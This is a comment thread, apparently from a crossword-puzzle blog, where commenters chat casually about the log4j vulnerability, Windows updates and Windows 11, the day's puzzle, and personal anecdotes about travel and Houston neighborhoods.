I've seen a lot of rumblings about log4j, but had assumed that it is mostly a server/router problem (anything running Linux or one of its variants). Is there anything that Windows users need to be aware of (other than maybe the Internet issuing a Non Maskable Halt instruction?). Come to think of it I'm running Ubuntu under Windows (find it very useful for manipulating Blogger HTML files). I you want to elaborate offline, feel free. I take that back. Get some sleep. UH IT SOUNDS BAD.

Michael @4:43 PM I'm with you on what I call the Cybernetic Imperative. We've backed ourselves into a cyber corner. Did PDQ really write a "Backspace in G minor"?

Jinx in Norfolk said...

Oh yeah, yesterday was Microsoft's Patch Tuesday. Yup, I had a restart pending. Tnx to you softheads for the indirect reminder. Don't know whether this one addresses that problem, but it is good practice to implement the monthly updates in any case.

The restart bugged me to go to Win 11. We'll see in a year or so, unless they can sell it a little better.

Jayce said...

I aint gonna buy a whole new computer just to be able to run Windows 11. If MS stops supporting Windows 10 I have 2 options: (1) Keep using my current PC anyway, or (2) go Apple and get an iMac. I'm already deep into the Apple environment anyway, being an owner of 3 iPhones and an iPad.

Tony, it comforts me to know you are among those working to fix the log4j vulnerability.

sasses said...

Nice tribute puzzle to Al by CC. Lotta caring among the solvers in this blog.

LEO III said...

Well, I had another one square FIW today. I missed the Y in Square 50. I agree with everyone about YEESH.

First things first: FLN, thanks Hahtoolah for the shout out yesterday. Not only are those my initials, but that is also my astrological sign. I pretty well live up to the description.

Also, FLN, No, TXMs, I've never been to Mary Jane's. In fact, I probably haven’t been to an icehouse in over 20 years.

I saw the reveal early in today’s puzzle, so I knew where we were going. 17A pretty much confirmed my suspicions.

In Daniel Craig’s “Casino Royale” the ending of the poker game was done incorrectly. Le Chiffre called Bond, and Bond should have shown his hand first, but for the sake of suspense….

Believe it or not, when we used to fly up to Philadelphia for Christmas, we found it best to leave on Christmas Day and return on New Year’s Day. Yes, the airports and planes were still crowded, but not as badly as the surrounding days.

-T --- When I was transferred to Houston, I lived in Northampton, until my ex-wife had my visa revoked. If you don’t already have something lined up, and depending on your wife's work situation, you might want to check it out. Of all the subdivisions in the metro area, I think that one is the best.